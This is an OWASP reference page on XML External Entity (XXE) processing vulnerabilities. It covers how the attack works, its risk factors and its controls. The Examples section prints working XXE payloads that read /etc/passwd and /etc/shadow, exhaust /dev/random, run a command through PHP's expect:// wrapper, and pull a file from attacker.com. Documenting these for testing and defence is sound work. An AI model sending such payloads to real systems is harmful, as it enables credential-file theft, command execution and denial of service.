XML External Entity (XXE) Processing

From OWASP

*This is a **Vulnerability**. To view all vulnerabilities, please see the Vulnerability Category page.*

Last revision (mm/dd/yy): **10/14/2017**

Vulnerabilities Table of Contents

Description

An *XML External Entity* attack is a type of attack against an application that parses XML input. This attack occurs when **XML input containing a reference to an external entity is processed by a weakly configured XML parser**. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML 1.0 standard (http://www.w3.org/TR/REC-xml/) defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, external general/parameter parsed entity (http://www.w3.org/TR/REC-xml/#sec-external-ent) often shortened to **external entity**, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.

Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data through subdomain names to a DNS server that he/she controls.

Risk Factors

- The application parses XML documents.
- Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (http://www.w3.org/TR/REC-xml/#sec-prolog-dtd) (DTD).
- The XML processor is configured to validate and process the DTD.
- The XML processor is configured to resolve external entities within the DTD.

Examples

The examples below are from Testing for XML Injection (OWASP-DV-008).

Accessing a local resource that may not return

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```

Remote Code Execution

If fortune is on our side, and the PHP "expect" module is loaded, we can get RCE. Let's modify the payload

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>
```

Disclosing /etc/passwd or other targeted files

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

Related Attacks

- SQL Injection
- Blind SQL Injection

Related Vulnerabilities

- Missing XML Validation

Related Controls

Since the whole XML document is communicated from an untrusted client, it's not usually possible to selectively validate or escape tainted data within the system identifier in the DTD. Therefore, the XML processor should be configured to use a local static DTD and disallow any declared DTD included in the XML document.

Detailed guidance on how to disable XXE processing, or otherwise defend against XXE attacks is presented in the XML External Entity (XXE) Prevention Cheat Sheet.

References

- OWASP XML External Entity (XXE) Prevention Cheat Sheet
- Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques (http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf)
- Precursor presentation of above paper - at OWASP AppSec USA 2013 (http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf)
- CWE-611: Information Exposure Through XML External Entity Reference (http://cwe.mitre.org/data/definitions/611.html)
- CWE-827: Improper Control of Document Type Definition (http://cwe.mitre.org/data/definitions/827.html)
- Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010 (https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf)
- PostgreSQL XXE vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489)
- SharePoint and DotNetNuke XXE Vulnerabilities, in French (http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html)
- XML Denial of Service Attacks and Defenses (in .NET) (http://msdn.microsoft.com/en-us/magazine/ee335713.aspx)
- Early (2002) BugTraq Article on XXE (http://www.securityfocus.com/archive/1/297714/2002-10-27/2002-11-02/0)

Retrieved from "https://www.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&oldid=234397"

Categories: Vulnerability | API Abuse

- This page was last modified on 14 October 2017, at 20:46.
- Content is available under Creative Commons Attribution-ShareAlike unless otherwise noted.
-
- Open Web Application Security Project, OWASP, Global AppSec, AppSec Days, AppSec California, SnowFROC, LASCON, and the OWASP logo are trademarks of the OWASP Foundation.